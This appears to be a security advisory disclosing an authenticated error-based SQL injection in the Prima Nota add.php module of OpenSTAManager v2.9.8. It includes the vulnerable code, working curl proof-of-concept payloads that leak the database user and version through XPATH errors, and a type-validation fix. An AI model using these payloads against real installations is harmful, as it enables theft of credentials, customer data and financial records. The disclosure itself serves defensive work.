  "details": "### Summary\n\nCritical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters.\n\n**Status:** \u2705 Confirmed and tested on live instance (v2.9.8)\n**Vulnerable Parameters:** `id_documenti` (GET parameters)\n**Affected Endpoint:** `/modules/primanota/add.php`\n**Attack Type:** Error-Based SQL Injection (IN clause)\n\n### Details\n\nOpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module\u0027s add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.\n\n**Vulnerability Chain:**\n\n1. **Entry Point:** `/modules/primanota/add.php` (Lines 63-67)\n   ```php\n   $id_documenti = $id_documenti ?: get(\u0027id_documenti\u0027);\n   $id_documenti = $id_documenti ? explode(\u0027,\u0027, (string) $id_documenti) : [];\n   ```\n   **Impact:** The `get()` function retrieves user-controlled URL parameters, `explode(\u0027,\u0027, (string) ...)` splits them by comma, but NO validation ensures elements are integers.\n\n2. **SQL Injection Point:** `/modules/primanota/add.php` (Line 306)\n   ```php\n   $id_anagrafica = $dbo-\u003efetchOne(\u0027SELECT idanagrafica FROM co_documenti WHERE id IN(\u0027.($id_documenti ? implode(\u0027,\u0027, $id_documenti) : 0).\u0027)\u0027)[\u0027idanagrafica\u0027];\n   ```\n   **Impact:** Array elements from `$id_documenti` are directly concatenated using `implode()` without type validation or `prepare()`, enabling full SQL injection. \n\n\n**Root Cause Analysis:**\n\nThe vulnerability exists because:\n1. `get(\u0027id_documenti\u0027)`  return user-controlled strings\n2. `explode(\u0027,\u0027, (string) $value)` splits by comma but doesn\u0027t validate types\n3. `implode(\u0027,\u0027, $array)` concatenates array elements directly into SQL\n4. No validation ensures array elements are integers\n5. Attacker can inject SQL by providing: `?id_documenti=1) AND EXTRACTVALUE(...) %23`\n\n**Affected Code Path:**\n```\nGET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD\n  \u2193\nadd.php:63 - $id_documenti = get(\u0027id_documenti\u0027)\n  \u2193\nadd.php:64 - $id_documenti = explode(\u0027,\u0027, (string) $id_documenti) [NO TYPE VALIDATION]\n  \u2193\nadd.php:306 - WHERE id IN(\u0027.implode(\u0027,\u0027, $id_documenti).\u0027) [INJECTION POINT]\n```\n\n### PoC\n\n\n**Step 1: Login**\n```bash\ncurl -c /tmp/cookies.txt -X POST \u0027http://localhost:8081/index.php?op=login\u0027 \\\n  -d \u0027username=admin\u0026password=admin\u0027\n```\n\n**Step 2: Verify Vulnerability (Error-Based SQL Injection)**\n\n**Test 1: Extract Database User and Version**\n```bash\ncurl -b /tmp/cookies.txt \"http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),\u0027%20|%20\u0027,VERSION()))))%23\"\n```\n\n**Response (error message visible to attacker):**\n```html\n\u003ccode\u003eSQLSTATE[HY000]: General error: 1105 XPATH syntax error: \u0026#039;~osm@172.18.0.3 | 8.3.0\u0026#039;\u003c/code\u003e\n```\n\u003cimg width=\"1231\" height=\"405\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1657b844-281a-431b-8472-c81e4d90bf64\" /\u003e\n\n\n### Impact\n\nAll authenticated users with access to the Prima Nota (Journal Entry) module.\n\n\n### Recommended Fix\n\n**Primary Fix - Type Validation:**\n\nFile: `/modules/primanota/add.php`\n\n**BEFORE (Vulnerable - Lines 63-67):**\n```php\n$id_documenti = $id_documenti ?: get(\u0027id_documenti\u0027);\n$id_documenti = $id_documenti ? explode(\u0027,\u0027, (string) $id_documenti) : [];\n```\n\n**AFTER (Fixed):**\n```php\n$id_documenti = $id_documenti ?: get(\u0027id_documenti\u0027);\n$id_documenti = $id_documenti ? explode(\u0027,\u0027, (string) $id_documenti) : [];\n// Validate that all array elements are integers\n$id_documenti = array_map(\u0027intval\u0027, $id_documenti);\n$id_documenti = array_filter($id_documenti, fn($id) =\u003e $id \u003e 0); // Remove zero/negative IDs\n```\n\n### Credits\nDiscovered by \u0141ukasz Rybak",
